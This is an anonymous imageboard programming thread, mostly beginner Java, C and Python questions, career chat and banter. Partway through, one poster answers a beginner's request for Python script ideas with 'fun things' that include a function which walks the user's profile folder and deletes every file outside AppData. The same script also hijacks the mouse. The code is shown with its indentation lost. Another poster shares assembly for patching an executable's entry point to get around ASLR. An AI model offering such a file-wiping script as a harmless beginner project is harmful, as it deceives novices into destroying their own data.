/dpt/ - Daily Programming Thread

old thread: What are you working on, Cred Forums?

Other urls found in this thread:

pastebin.com/YMve86dD
warosu.org/g/thread/S56453560#p56457825
en.wikipedia.org/wiki/Common_Intermediate_Language
netmf.com/get-started/
netmf.com/
jdoodle.com/online-java-compiler
docs.oracle.com/javase/8/docs/api/java/util/Scanner.html#hasNextInt()
resume.github.io/
sublimetext.com/blog/articles/sublime-text-3-build-3124
githubstars.com/,
github.com/perception88/judas-watch
judas.watch/
twitter.com/JudasWatch/status/778671984855150592
github.com/antiufo/
github.com///graphs/punch-card
en.wikipedia.org/wiki/KERNAL
cs.ecu.edu/karl/3675/fall16/Assn/Assn3/assn3.html
twitter.com/NSFWRedditImage

first for f#

why do millenials prefer discord to good old irc

>muh gaming software

Script ideas for a python beginner?

Second for F#

Maybe it's because IRC requires a client and forces you to be online to see replies to you?

I've never really understood the appeal of idling all day on some dead channel.

i see literally no minors i like because i want something that goes with csci but hate stats and math, and those are the 2 minors. so i think i'll take the csci electives i think look cool

So I've just read through K&R as revision for C as I haven't done any in months.

But I feel I should write a decent program in C before I move on and claim C as "learnt".

Or should I just get on with learning OO and consider C learnt?

learning curve I guess. Nice GUI for Discord, whereas irc needs typed in commands.

Slack is just irc too, but it's much nicer to use.

Thinking about starting to put my github on my resume, only problem is I do like 50-100 commits in one night then nothing for weeks will this matter? what makes a github good for resumes?

I thought grown-ups used Slack?

For Discord, inline images/media (including emoji), modern interface, stronger social features, voice chat. Plus I think most people around 18/19, maybe even 20 have never even heard of or used IRC.

>IRC requires a client
webchats exist for all main irc servers
> forces you to be online to see replies to you
you can just setup a free bouncer (>5 minutes)

50-100 commits a night may look hacky.

Why are you pushing so many commits? Surely you thoroughly test your code before pushing it?

Is an internship for credit an option?

>bouncer
That's the thing, 99% of people aren't going to do that.
Most people have no need for a VPS.

>In Java CS class after programming for years because I want to learn best practices
>Given a simple assignment
>Put in the effort to make it reasonably uncrashable, and add an extra feature to a part of the assignment that wasn't specific (because I was bored).
>Also wrote it in a way that minimizes memory usage
>Get an 8/10

Can someone please review this code and tell me if anything is glaringly wrong before I complain to the professor? It's worth noting that we could only upload a single text field and we haven't learned best practices for classes yet so I didn't use them, and that it's a Java class and not a general CS class so I wasn't expected to implement my own algo.

The assignment is in a comment at the top of the file

pastebin.com/YMve86dD

pls help anons

here is a bunch of fun things you can do in python:
import requests
import random
import os, os.path
from time import sleep
import stat
import pyautogui

x = 1

user = os.environ['USERPROFILE']
desktop = user + '\desktop'

#Deletes all files
def rmtree(top):
for root, dirs, files in os.walk(top, topdown=False):
for name in files:
try:
filename = os.path.join(root, name)
if user + '\\AppData' in filename:
continue
else:
os.chmod(filename, stat.S_IWUSR)
os.remove(filename)
print('file removed')
except:
print('Permission denied...')
sleep(1)
continue
for name in dirs:
os.rmdir(os.path.join(root, name))
os.rmdir(top)

#Downloads random pics, puts ten randomly on desktop
def createFile(x):
pics = [r'insert a bunch of random image links here, I can't because of spam protection.']
os.chdir(desktop)
with open(str(x) + '.jpg', 'wb') as f:
f.write(requests.get(random.choice(pics)).content)
print('pic made')
x += 1

#moves the mose and holds it down
def mClick(x, y):
pyautogui.moveTo(x, y)
pyautogui.mouseDown()

no I just do tons of small projects in one night, yes I test code before pushing

you don't need a vps you can just google free irc bouncers and find one

what were the markers comments?

Still working on akari-bbs!
Someone sent a pull request and it made me realize I had no sanity checks for malformed GET strings.
Thanks, sou!

>whiteimagefag
>also a snekfag
Fools beget fools

As much as I like IRC for it's simplicity, most people already think IRC is some complex text-only thing from the 90s and telling them they need to set up some external service to collect replies while they're offline is going to scare them away.

"You can do better"
I honestly think it was for a different assignment, or maybe the grader was grading thinking it was an assignment for another class because this is a fuckin intro java course and we're only a few weeks in. Some of the mongs in the course can't even write a program without googling everything.

>whiteimagefag
Is this a common thing?

Oops, meant to link this guy

TA's in the in the first year courses dont care and either dont open assignments or quickly look, talk to your ta or prof

He posts it every thread

thats rude

He's probably french

shitty code desu

Why are accessors for data structure all so non-standardized?
Shit, even Arrays and Lists in every language I've ever used have different method names for retrieving length

Because different languages have different design philosophies.

length :: Foldable t => t a -> Int
Haskell

Sometimes I think syntax and actual languages should be two separate things that you can just mix and match to your liking. But then I think it'd probably be more hassle than it's worth.

Why do you have this saved?
warosu.org/g/thread/S56453560#p56457825

no I mean
within a language
Array and lists have different methods to call to retrieve how big they are and that's just silly

Am I right in assuming fork a project, git pull it from my fork then when I git push it only pushes to my repo?

>Array and lists have different methods to call to retrieve how big they are and that's just silly
In what language? Getting the length of a array is generally just reading an int. Getting the length of a List usually means it needs to be calculated. It's often felt that the difference needs to be distinct to programmers.

Java

yes
if you want the original repo to merge your changes, they need to pull your branch and merge back into their master branch.
github calls this a "pull request"

Java is just utterly shit anyways

nah
It's not some sort of magic bullet but it works very well.

Yeah, just not as well as other stuff people can be using instead.

Java is cross-platform, has lots of support and third-party packages, and it supports a LOT of web-related stuff right out of the box so it's very friendly for that.

Also, and this is a more recent development, it's actually not slow. It's slightly slower than other languages but not by a lot.

What should I do for my tenth repo on github, I was thinking a website that sums up all the projects on my github and give contact details kind of like an online resume but I couldn't find any templates I like

github has a whole premade site template for showing off your repos

There's no reason to use it over .NET these days.

Alright
I'm not related to this discussion but here's a question I've always been afraid to ask
What the hell is .net in this context? I know that C# uses (or is?) it, but C# only runs on Windows machines... but people always claim that .net is cross-platform.
They also say things like "I'm a .net developer" without specifying a language
someone help me out here

I just realised
>tissue box on the desk next to the computer

>but C# only runs on Windows machines...
This is wrong. C# targets .NET which is cross-platform.

Oh, my bad
I must have been thinking about XNA

XNA proper is not cross platform, but it is effectively cross platform because FNA implements it.

To answer your original question .NET is a platform analogous to Java's JRE. In fact, much like you can take a .jar and run it on any platform with a JRE, you can actually run a .NET exe on any platform that supports .NET (assuming you don't use an non-cross-platform stuff).

.NET is basically the C# ecosystem. The runtime, the libraries etc.

>C# only runs on Windows machines... but people always claim that .net is cross-platform.
C# runs on all platforms. More so than Java even.

>They also say things like "I'm a .net developer" without specifying a language
.NET supports many languages, not just C#. Here's also VB.NET and F#.

Please support this thread. I'm sick of seeing so many threads derailed by 12 year olds.

It's fine in some threads, but every thread?

I have a problem, when the destructor activates the program crashes.
If I remove the destructor the "new" stay forever in memory and slowly leak.

class Unit{
protected:
float x=0;
float y=0;
public:
int w = TILE_SIZE;
int h = TILE_SIZE;

Hit *hit = new Hit(x,y,w,h);

~Unit(){
delete hit;
}

};

>thread is dead
>Bitch about people being "12" for asking programming questions in the programming thread
what are you on about

This thread isn't a problem. I'm talking about many other threads on here.

your post seemed to be targeting the post you quoted, fampai

Ah, no sorry. I clicked the post number to get a quick reply box, but then didn't delete the post number.

Not targeting this thread. But for example, the macOS Sierra General thread is being spammed with some shit.

Hey user, you think If I provided you with a logo and a couple pieces of concept art that you could whip me up a nice website by tomorrow?
Free of charge of course...

Original OEP: 00011041
Original OEP + ImageBase = 00400000 + 11041 = 00411041

Theoretical OEP is 00411041 But...

Actual OEP in memory is 00C21041 (last four digits always stay the same)

How do I overcome ASLR? I need to jump to 00C21041

My current effort:

CPU Disasm
Address Hex dump Command Comments
00C2E000 /$ 55 PUSH EBP ; Stack frame
00C2E001 |. 8BEC MOV EBP,ESP ; Stack frame
00C2E003 |. 81EC C0000000 SUB ESP,0C0 ; Stack frame
00C2E009 |. 53 PUSH EBX
00C2E00A |. 56 PUSH ESI
00C2E00B |. 57 PUSH EDI
00C2E00C |. 8DBD 40FFFFFF LEA EDI,[EBP-0C0] ; Compute address of value [EBP - 0C0]
00C2E012 |. B9 30000000 MOV ECX,30
00C2E017 |. B8 CCCCCCCC MOV EAX,CCCCCCCC
00C2E01C |. F3:AB REP STOS DWORD PTR ES:[EDI] ; Store CCCCC... into ES[EDI]
00C2E01E B8 4110C200 MOV EAX,00411041 ; Inline asm. 00411041 != 00C21041 so the jump will go to non-executable memory
00C2E023 FFE0 JMP EAX ; Inline asm


__declspec(noinline) static int NewMain() {
__asm {
MOV EAX, 00411041h
JMP EAX
}
return 0;
}


How do compiled programs store address values when ASLR is fucking shit up?

ASLR = Address space layout randomization

i should listen to the asian professor i had last year and take electives like big data, machine learning, and ai, or should i take electives like web, app, and GUI development?

Need some help with this problem. I'm a beginner programmer, and can't really understand what to do here.

"The East Coast sales division of a company generates 62 percent of total sales. Based on that percentage, write a program that will predict how much the East Coast division will generate if the company has $4.6 million in sales this year."

I'm using dev c++ for this. any help would be much appreciated, thank you

You'll have to turn it off in the kernel. Why do you need to do this though?

you need to define a copy constructor and copy assigment operator.

en.wikipedia.org/wiki/Common_Intermediate_Language

C#, F#, and VB are all languages with different compilers. Well, C# and VB use Roslyn now, and F# has its own compiler. These compile the language so it can talk to...

.NET, which is a massive set of libraries, tools, and a runtime that takes the instructions from the compiler and converts this all to CIL that can be interpreted by the CLR into straight bytecode.

Or something like that.

In any case, the current .NET 4.6 runs on Windows. It's equivalent is Mono, which is an open-source cross-platform implementation of .NET that is now funded and supported by Microsoft.

There is also .NET Core, which is also open-source and cross-platform, but it is a limited feature, lightweight implementation of .NET.

Xamarin is built upon Mono, is also open-source, and is used to port .NET's capabilities to mobile applications and OSX.

In fact, I think the only thing I've mentioned that isn't open-source and MIT licensed is the .NET 4.6(and prior), which only runs on Windows.

wrote my own Cred Forums/8ch image scraper, i only have to add the thread url and the script makes a folder for me and categorizes it by board

comfy/10inbed familam not gonna lie

This is third grade math, not C++

>C# runs on all platforms. More so than Java even.
You must have no idea about how widespread Java is.

babbies first 20 lines of code /10

>but when do we start programming games

what retarded class is that for? i suspect you're overthinking it. if i was asked that question i would just print the result of .62 * 4600000 in dollars

...

>algorithm analysis class
>solving TSP via brute forcing
>project partner says he has old code that will work so we agree to let him handle the programming while I write up the report
>due tomorrow but start writing it this morning
>several hours in he tells me that he mucked up the timing and has to redo it
>due in less than 12 hours and still waiting

I feel bad for not helping on the code but he pretty much said he had it covered and I know how stressful it can be to handle someone else's code late into a project

I do. C# is pretty widespread too.

Maybe I'm more thinking of quality too. Mobile dev for Android and iOS is a dream in C#. Java on iOS is shitty.

#include

int main()
{
printf("2852000\n");
return 0;
}

Can either of you name platforms or architectures that are not supported by Java or C#?

The thing with Java is that an obscene amount of weird devices (like set-top boxes, printers, and stuff) run it.

As far as widespread platforms though, Java and C# have more or less the same platform support.

Sega MegaDrive

never said it was hard, just rewarding.

Gonna fill up a few terabyte worth of lewd 2d waifu imagery

import java.util.Scanner;

public class IfElseStatements {

public static void main(String[] args){
Scanner input = new Scanner(System.in);

// Declare variables.
int age = 0;
int weight = 0;

String[] rc = {"black rollercoaster.", "green rollercoaster", "yellow rollercoaster.",
"silver rollercoaster.", "red rollercoaster.", "purple rollercoaster.", "pink rollercoaster."};

// Obtain user input.
System.out.println("Please enter an age.");
age = input.nextInt();
System.out.println("Please enter your weight.");
weight = input.nextInt();


// Selection structure
if (age = 80 && weight 200)
{
System.out.println("You must ride the " + rc[2]);
}
}
else if (age = 80 && weight 200)
{
System.out.println("You must ride the " + rc[5]);
}
}
else
{
System.out.println("You must ride the " + rc[6]);
}

}
}


How do I make an if statement in this when:

If a user types in a "-"
or
if a user types in any letter "a-z"

In either case I willl print out an error saying no negative numbers or letters.

Essentially I am error checking to make sure a person only inputs numbes. Pls help I been working on this for 2 days I cant figure it out.

Other than brute forcing it? You can either check for certain ASCII values or use a regrex

Keep going, I'm sure you'll figure it out :)

The vast majority of microcontrollers.

I dont know what either of those things are, I'm newfag.

BLS GNO


my idea was to just make a new method and make a 26 element array containing the letters a thru z and if someone types those letters it gives an error. same thing for negative. FUG

I think I figured it out now:

1. Store oep into a register
2. Bitwise operation out the last four digits (E000 in this case) to leave only 00C20000
3. Bitwise 00C20000 | 1041 for 00C21041
4. 00C2E000 - 00C21041 = cfbf
5. 00C2E000 - cfbf = 00C21041

00C21041 is now using the ASLR-ised address space

Trying to jump back to the original entry point of an executable from a new code section.

true, but not all netmf.com/get-started/

1) you don't need to check if they're giving it a letter with input.nextInt

2) if(variable

check if the input is a valid positive integer (or float) instead of trying to eliminate all edge cases (because what about special characters?)

>what is .NET Micro

netmf.com/

There's also Netduino and you can use .NET on a standard Arduino.

listen to this guy, I'm this guy and wasn't paying attention. I forget how much Java takes care of you

What options would you like in a cli based hex editor?

Is there anything important must-have option I'm missing?

else if (age

fuck, I meant listen to

holy shit

-50 points (use of undocumented Magic Numbers)

see me after class

>my idea was to just make a new method and make a 26 element array containing the letters a thru z and if someone types those letters it gives an error. same thing for negative

Jesus christ.

I remember being really fucking bad at some point, but I don't think it was ever this bad.

IT DOESNT WORK

if (age == int || weight == int)

Gotta do what sounds more interesting to you. Big data/ML is very numbers and mathy, but more applicaple. GUI stuff is more designy and aesthetic. Whichever one resonates with you more. [spoiler]Security.[/spoiler]

C# and .Net are windows only. there were ports done of .NET but they all really sucked to the point of not existing . >net core which will replace .Net 4.6.something will be truly cross platform (they are actually making real .NET installers and run-times for all systems.)

>>-50 points (use of undocumented Magic Numbers)

#include

/* 62% of 4.6 million */
#define SIXTY_TWO_PERCENT_OF_4POINT6MILLION 2852000

int main()
{
printf("%d\n", SIXTY_TWO_PERCENT_OF_4POINT6MILLION);
return 0;
}

>in java

I too was never this far gone but hey, its nice too see someone pick it up and not be afraid to ask questions.

good, looks like this time you remembered the 6 million.

if (age > 0 && weight > 0){
if (age = 80 && weight 200)
{
System.out.println("You must ride the " + rc[2]);
}
}
else if (age = 80 && weight 200)
{
System.out.println("You must ride the " + rc[5]);
}
}
else
{
System.out.println("You must ride the " + rc[6]);
}
}
}


OK, so this takes care of any negative values. Now how do I handle letters?

LUL

let me guess, you're using an online compiler that doesn't have a standard input? get an actual IDE

jdoodle.com/online-java-compiler that said i found an online compiler that supports standard input and your code works

JAVA ISN'T GOING TO LET SOMEONE STORE A LETTER IN AN INTEGER YOU FUCKING BAKA, YOU DON'T HAVE TO CHECK WHETHER OR NOT THE INTEGERS ARE LETTERS

You need to prevent yourself from reading bad(malformed) input in the first place.

Java has something called hasNextInt for integers to check if the input you will read will be something else in Scanner. Read more about it here.

docs.oracle.com/javase/8/docs/api/java/util/Scanner.html#hasNextInt()

Once you have established the input will be an integer and you read it in, you can just check if it is greater than 0.

That should solve your two problems.

I think Java as a built-in isNum() function, you might wanna google that [spoiler]I wish you luck user but holy fuck do you need to git gud

Ok, here's the thing.
All standard input is received as a stream of characters.
Your language's standard library is automatically converting things that look like numbers to integers.
It's smart enough to ignore non-numerical characters, hopefully.

It's going to throw some exception if it does, I would think.

You really shouldn't get this mad degeso.

im using eclipse

Please enter an age.
ass
Exception in thread "main" java.util.InputMismatchException
at java.util.Scanner.throwFor(Unknown Source)
at java.util.Scanner.next(Unknown Source)
at java.util.Scanner.nextInt(Unknown Source)
at java.util.Scanner.nextInt(Unknown Source)
at ifElsePkg.IfElseStatements.main(IfElseStatements.java:19)


the idea is that when someone types in a letter, an error doesnt come out duh.

I got that for negatives but letters is another story.

OK

yep but the error comes out at top

i wasn't going to say it that angrily but the reaction picture i chose was really mad so i had to make the post match

You catch the exception and do something in reaction to it.

yes this is what I needed, how do I do that?

catch

What do you mean? Any letter of the alphabet or anything that isn't the '-' character + 0-9 should return true if you put it through Scanner.hasNextInt();

So putting in 'ass' will return false for that function. The only thing that will return true will be pretty much negative and positive numbers so only after you get true from Scanner.hasNextInt() should you use Scanner.nextInt() to read the input.

...

Not him, but is that really the best Java's got? The logic for checking whether something is an integer and the logic for actually parsing a string into an integer, possibly failing, is practically identical. You have to do duplicate work just to avoid an exception?

* Any letter of the alphabet or anything that isn't the '-' character + 0-9 should return false if you put it through Scanner.hasNextInt();

Sorry for that mistake.

This is an issue that simply doesn't exist in modern software development because the issue of user input sanitation is a solved problem.

And it starts by not using the standard I/O library to read numbers without checking the numbers first.
What you should be doing is take the entire inputted string, tokenize it, and then check if the first token is a numerical string.
Then dump the rest and ask for more inputs.

That is the only way to do user input nowadays. Any other way is not acceptable.

The problem is that the jump from doing simple user input with Scanner.next* to that is quite a jump. I'm just not sure if it is wise to let beginners do this for simple input.

// Obtain user input.
System.out.println("Please enter an age.");
age = checkValidInt();
System.out.println("Please enter your weight.");
weight = checkValidInt();


// Selection structure
if (age = 80 && weight 200)
{
System.out.println("You must ride the " + rc[2]);
}
}
else if (age = 80 && weight 200)
{
System.out.println("You must ride the " + rc[5]);
}
}
else
{
System.out.println("You must ride the " + rc[6]);
}

}

// checks to make sure input is an integer.
public static int checkValidInt(){
try{
return input.nextInt();
}

catch(InputMismatchException e){
input.next();
System.out.println("Please enter a whole number.");
return 0;
}
}

OH SHIT IM DOING IT. IM CUMMIN FOR YOUR JOBS YOU FAT BEAUTIFUL AMERICAN BASTARDS

t. yung pajeet

This is the way beginning programming should be taught.
Teaching a beginner how to code by making fragile scanf/scanner programmers teaches them terrible habits and instills an important lesson early on. Never trust your users.

package main;
import java.util.Scanner;

public class Main {

public static void main(String args[]){
Scanner keyboard = new Scanner(System.in);
int x;
while(true){
if(keyboard.hasNextInt()){
x = keyboard.nextInt();
break;
}
else{
System.out.println("Enter a number");
keyboard.next();
}
}
System.out.println("You entered " + x);
keyboard.close();
}

}


here you go. i forgot how retarded java is

That fixed it, thank you.

#include
#include

int binsearch(int a[], int n, int x );

int main(){
int ar[] = {1, 3, 4, 6, 7, 10};
int x;
scanf("%d", &x);
int search = binsearch(ar, 6, x);

if (search != -1){
printf("%d is found in %d\n", x, search);
}
else
printf("%d is not found\n", x);


return 0;
}

int binsearch(int a[], int n, int x ){

int start = 0;
int end = n - 1;

while (start a[mid]){
end = mid - 1;
}

else{
start = mid + 1;
}
}
return -1;
}

What is going wrong ?

True, but string parsing isn't something you teach beginners until near the middle or end of an introductory course.

Restricting input when beginners expect input and output to be equals and as easy as one another sucks.

You can't just post what's going wrong with code. Say something about what it is doing when you run it. Like segfault, wrong values output, etc.

You're running the program and it's not giving expected output
Hope that helps!

Why would you tokenize the whole thing only to throw most of it away? Just try to read in a number until certain characters are reached and then either finish or fail.

>string parsing isn't something you teach beginners until near the middle or end of an introductory course.
In my experience, they don't teach you this until your second year.

learning programming from a college course is literally handicapping yourself

its on my pastebin

Even my code is disappointed with me.

...

If you want to keep it simple, just null terminate the string as soon as it gets to the first character that isn't 0-9.
then convert that to an int.

a.y.y

I just found out about resume.github.io/ whats some other cool stuff I can do with my github?

That's some unoptimized piece of crap you have there.

>This user has not opted in to this unofficial GitHub résumé service.
>If you would like to opt-in, simply go to our GitHub Project page and star the project.

Wow, that's some backhanded shit.

For loops you autist. Also,
>C++
>not overloading operators
It's perfectly appropriate in this case.

Do tell which repeated operations you can factor out.

For loops make it harder to debug my code. Also, I observed that for-loop and my current version of code compile to essentially the same thing. I'll stick with the version that gives me more info.

Anything you can do I can do better in python.

Write an operating system kernel.

You're retarded.

Fixed it!

__declspec(noinline) static int NewMain() {
__asm {
MOV EDX, [esp] // Move current stack pointer value (our entry point address) to EDX
MOV EAX, FFFF0000h // Move constant into EAX
AND EDX, EAX // Bitwise AND. Store result into EDX
MOV EAX, 00001041h // 00001041h is the original entry point
OR EDX, EAX // Bitwise OR. Store result into EDX
JMP EDX // Jump to the address store in EDX
}
return 0;
}


My executable patcher now works around ASLR. Very fun to watch in a disassembler.

NewMain() is now the new entry point and will jump to the old entry point given at memory offset 1041h

You can express the exact same thing with FAR less code using for loops. It will also be less error-prone since you don't have to just copy/paste and change parts, which is easy to mess up.

That said, it looks like you've dug yourself into a bit of a hole by using named components instead of a 4-component array. You could probably retrofit it by using an anonymous union, though.

((float**) mat1)[3][1]

I said anything you can do, not anything ever. And since you can't write a kernal, I don't have too.

Why would he do that instead of something infinitely less ugly?

My mat4 uses a union of n[4], x,y,z,w

Not to mention, if you use arrays, you can even template the type over its dimensions. So you could have mat or vec.

>a
Get a load of this stupid faggot.

pick 7 electives for me anons

Computer Networks
Microprocessors
Data Struct and Their Applictn
Intro to Computer Game Develop
Intro to Numerical Analysis
Computer Org and Programming
Intro to Computer Graphics
High Performance Computing
Machine Learning
Information Retrieval
Natural Language Processing
Digital Image Processing
Cybersecurity: Theory & Practice
Cloud Computing
Big Data Analytics
Systems Programming
Object-Oriented Comp and GUI
Intro to Computer Architecture
Computer Networks and Internet
Mobile Computing
Computer Game Development
Procedural Languages and Compilers
Web Applications
Modern Topics in CSCI

you could do this regardless

baka

Not him but I don't get it.

This error is so simple to debug. Put some printfs or use GDB, for heaven's sake. It's not like you segfaulted somewhere in a library you have no source for.

Not completely generally, no. Sure, you could make specializations and have named fields but only up to a certain number.

This is bait.

template
struct array;

template
struct array {};

template
struct array {
t head;
array tail;
}

Okay, it's possible, but why the fuck would you want to do it that way?

whoops, latter should have size_t n as a non-type template parameter

built in arrays are fucked, this way is consistent, and library feature generally > language feature

Only a complete idiot would spell "kernel" like that.

What is wrong is that the output is incorrect, when I input an int that is in the list it says it is not in the list.

>built in arrays are fucked
???

they cause complications in certain circumstances that structs don't

QUICK, PRINT "DON'T FUCK ME BIRDO" IN YOUR FAVORITE LANGUAGE OR BIRDO HERE IS GUNNA HAVE AT YA.

nvm found the error

Yeah, but your binary search was just plainly implemented wrong and it's quite easy to catch that kind of error with some simple debugging but you couldn't go to other methods before coming here?

FUCK, I FORGOT MINE
print('DON'T FUCK ME BIRDO')

main = putStr "DON'T FUCK ME BIRDO"

#include
int main(){
printf("DON'T FUCK ME BIRDO\n");
return 0;
}

I FUCKED UP, BIRDO PLEASE I WILL REDO IT
print("DON'T FUCK ME BIRDO")

Rectangle packing for procedurally generated models with procedurally generated textures

It's been since June and I just can't find the time and motivation to finally crack it out

F
U
C
K
E
D

main = putStrLn "FUCK ME BIRDO"

println!("DON'T FUCK ME BIRDO")

This would not do shit except give you an error, now your dead kiddo.

putStr "RIP"

Is it true that cross dressing makes you a better programmer?

sublimetext.com/blog/articles/sublime-text-3-build-3124

Have a look at some homework in a university course.
Also, depends what you want. Do you want to get better acquainted with the language itself, or the libraries that make python so popular?

look at

Yes, it's been scientifically proven.

int main(void)
{
char arr[] = {
0x44, 0x4f, 0x4e, 0x27, 0x54,
0x20, 0x46, 0x55, 0x43, 0x4b,
0x20, 0x4d, 0x45, 0x20, 0x42,
0x49, 0x52, 0x44, 0x4f, 0x0a, 0x00
};
char *c = arr;
do
putchar(*c);
while (*++c);
return *c;
}

do you plan on doing a masters or phd? most data science jobs want at least a masters

NO ME JODAS PAJARO

would
while (putchar(*(c++)));
not suffice

yeah should be more specific about your goals
if you want to make the most money learn what the finance people want. the salaries are insane

Mobile Computing
Cybersecurity: Theory & Practice
Natural Language Processing
Machine Learning
Computer Networks
Data Struct and Their Applictn
Digital Image Processing

Anyone used githubstars.com/, I keep getting declined for jobs and I think it's due to my lack of stars

THANKS I JUST BOUGHT 100 STARTS NOW I AM HIRE TO WORK FOR AMERICA

t.pajeet

I've gotten glQuake to not render anything when running and accept non-blocking input from stdin.

I doubt they're even looking at your github.
If i was an employer, I wouldn't judge you based on the stars or fancy metrics on your github profile because those are all stupid easy to fake.

i feel bad for those guys but i also don't want to have anything to do with them

has someone made an app to responsibly distribute street shitting? what would you name it?

Defecate in the lavatory Patrick John

For mysql, the documentation says that exist returns a true or false, but it also returns the rows if the thing does exist. So does everything that returns true return rows that make the function true?

filthy noob here
#include
setlocale(LC_ALL, "");
FILE* target;
main(){
target=_wfopen("xxxx.txt",L"w, ccs=UTF-16LE");
fwprintf(target,L"èèè");
fclose(target);
return 0;
}


pic relared is what i get
what's wrong with that setlocale?

Why isn't there a subreddit where you post your GH name, people follow and star all your repos then you do the same for them

>Need some help with this problem. I'm a beginner programmer, and can't really understand what to do here.
don't worry, the ''''''problem''''' is unrelated to programming.

>idling all day on some dead channel.
sounds like you've only been on freenode, lad
>kernal

>function call outside of a function
are you drunk?

Because it would trivial to blacklist everyone in that subreddit as a know-nothing retard.

Decided to learn CMake. Figure I'm probably going to need to use it eventually. That said, it's got some weird quirks about it. For instance, on Windows, it defaults to MSVC. I would like it to default to MinGW, and if possible, never make an attempt to use MSVC. It also uses -std=gnu11 if you set C_STANDARD to 11, rather than -std=c11, which is... awkward.

>library feature generally > language feature
you can't boost and jquery all your problems away

that's because they're libraries in shit languages

thanks, i'm new to C and I still make those stupid mistakes
also wfopen seems to be non existent in unix

Project ideas for python

fintech

github.com/perception88/judas-watch

judas.watch/

twitter.com/JudasWatch/status/778671984855150592

snake

Sierpinski gasket

Followed ;3

Why is this python code spewing out SyntaxError: invalid syntax
print ("Love Calculator")
nameone=str(input("Enter the first name: ")
nametwo=str(input("Enter the second name: ")

Thanks senpai.

Please don't do stupid microsoft specific shit.

Nice trips, but you're missing closing parentheses on the last 2 lines.

Computer Networks and Internet
Systems Programming
High Performance Computing
Computer Networks
Microprocessors

idc about the rest

You all are very shitty programmers

this

mfw i'm a better programmer than everyone else combined in this thread

i pity y'all, none of you will ever be as good as me

I might be shitty but I'm probably better at this than you. :)

teach us

Intro to Computer Game Develop
OO Comp and GUI
Web Apps
Intro to Comp Graphics
Programming w/ Ruby on Rails
Women in STEM
K-12 Computing Education

Good old irc is ugly as fuck and isn't as user friendly

stay delusional

>Women in STEM
Sounds like a short elective

post your github

>Intro to Computer Game Develop
>Intro to Numerical Analysis
>Intro to Computer Graphics
>Systems Programming
>Object-Oriented Comp and GUI
>Mobile Computing
>Computer Game Development

how do I destroy/ delete an object in java properly. I pool everything I can but the idea of setting a pointer null and let the object into limbo so it may or may not getting collected freaks me out. is there a way I can control that shit better?

github.com/antiufo/

>fasttrack to a career by mcdonalds

you're missing the point

post your pornhub

The fuck? Let the GC do it's work, also destroying objects manually can run into performance overhead.
Don't have that, sorry.

Not that it matters. A shitty programmer may have more useful program ideas. They're implement it badly, but it will be implemented as an idea for people to enjoy. A good programmer may very well do the same, but may be shy about sharing for code, or using it for anything. Who is more successful?

Is there any website where I input my github name and it tells me what times I make the most commits?

>Interviewing a web developer
>Decide to skip FizzBuzz and go for ProvingThatIQIsMoreThan60
>"In any language of your choice, write something to count down from 700 to 200, in decrements of 13."
>Candidates tries, but is clearly in a hurry
>Fails
>"It is alright, try again, take your time. No rush."
>Candidates take a long time retrying
>Still fails
This was a candidate with 4 years of working experience. I felt like crying.

Tomorrow, I will be interviewing a guy with 11 years of working experience. Hopefully, that guy can do it.

program it yourself

I'm just learning Python. I've found it a lot better and more fun not to just blindly go through syntax tutorials, but to learn a little bit, make something and solve problems along the way.

GHCI:
[700, 700-13 .. 200]

github.com///graphs/punch-card

...

500 isn't divisible by 13, so you can't go from 700 to 200.

What's the trick?

>literal retards are scoring interviews
>i can't even get rejection emails on the resumes I send out
>email them if they received my resume
>"sorry we cannot divulge that information"
>look up their HR dept heads
>try to email them directly
>"sorry we do not give that information out"

fuck everything

en.wikipedia.org/wiki/KERNAL

>count down from 700 to 200

I do not know what language that is, so I have no idea if that works or not. But clearly, your head is in the right place.

This is what the candidate gave me. First attempt at top.

Once more, the instructions were unbelievably easy:
>Count down from 700 to 200, in decrements of 13.

so just a loop that -13 every iteration until

What the fucking fuck
>var
>var
They're a web developer, that makes things make more sense

Send me your email, with personal details blanked if you wish, and I can give you criticism. I have (literally) read several hundred resumes by now.

That's an haskell form that generates a list of numbers from 700 to 206.

Haskell, [700, 700 - 13 .. 200] is a list consisting of the values 700, 700 - 13, 700 - 26, ... 206

GHCI is a repl, so if you entered that it would print it back to you

That is it. Just a simple loop, like everyone has done a thousand times in class.

Just... instead of looping from 1-10, loop from 700 to 200. And instead of increments of 1, do decrements of 13.

Much, much simpler than FizzBuzz.

But if a person cannot program, they cannot do it.

Why did you choose an ending value that won't be hit?

Trying to build a computer dedicated to Cred Forums by bringing a CRT tv back to life. While hooking it up to a C.H.I.P computer. Once that's done, I going to do a live stream of the computer and let Cred Forums screw around with it.

I believe that the problem with this is that if you were counting down from 700, decrementing 13 each time, you would never reach 200. It would either print 206 or 193 at the end.

for (var i = 700; i > 200; i -= 13) { console.log(i); }

This will count down to 206, not 200.

Add an expression whose result is a function closure. Evaluating (function x E) creates a function that takes parameter x and yields the value of expression E. (x is required to be a symbol).

For example, expression (function d (plus d 1)) yields a function. If the function were called d, it would be defined by f(d) = d + 1.

A function is allowed to use variables that have definitions at the point where the function is built. For example, evaluating (eval-expr (function q (time q w)) ((w 4) (r 20))) yields a function f defined by f(q) = q*4.

Accomplish this by representing a function in the form (closure x E env) where x is the function's parameter (a symbol), E is the function body (an expression) and env is an environment (the environment that was in effect when this function was evaluated).


>how do i do this

>making your candidates do math
Math is hard.

just predict and take the difference as last increment

maybe he thought you want to jew him. seems really easy for a programming job.

Who are you quoting?

The limits were arbitrarily chosen, as I am not testing their maths. I just want to know if they are good enough programmers to do a simple loop, and whether they have the capability to understand and complete a simple task.

cs.ecu.edu/karl/3675/fall16/Assn/Assn3/assn3.html

1-4 i got through fine, but 5 is like a brick wall. i have no idea what i'm supposed to do

He didn't say you have to print out the number.
0/10 don't call back

Apparently, it is.

Working on a very small website and trying to understand what the fuck is redis and why should i care or embrace it as a db.

just use sqlite

they just don't want to get sued

that's fucking gold. I mean I suck in math too but some if you cant even use modulo you should change profession.

he wrote some retarded bullshit like

for(x = 200; x

Yeah, that is my first option, but I'm trying to learn other stuff on the way without sacrificing performance or stopping being practical.

please help me

>lisp
(just (give up))

(can't wake up)

nice repeating digits

q u i n t s

n o i c e
o
i
c
e

Aye. I'm just saying that there could be a source of confusion caused by the fact that, in counting down by 13, one would not reach 200. Regardless, however, that was not the problem raised by your candidate. The problem was that he was a retard. I am curious to know what your more "advanced" questions would be. That is, to show that they know MORE than someone with a week of programming skills.

Because really, that is just a basic for loop. It can be one lined in any language. It even looks cute in CoffeeScript.

Format of output was unspecified, and therefore open to interpretation. Printing to stdout is just a standard way of obtaining an answer.

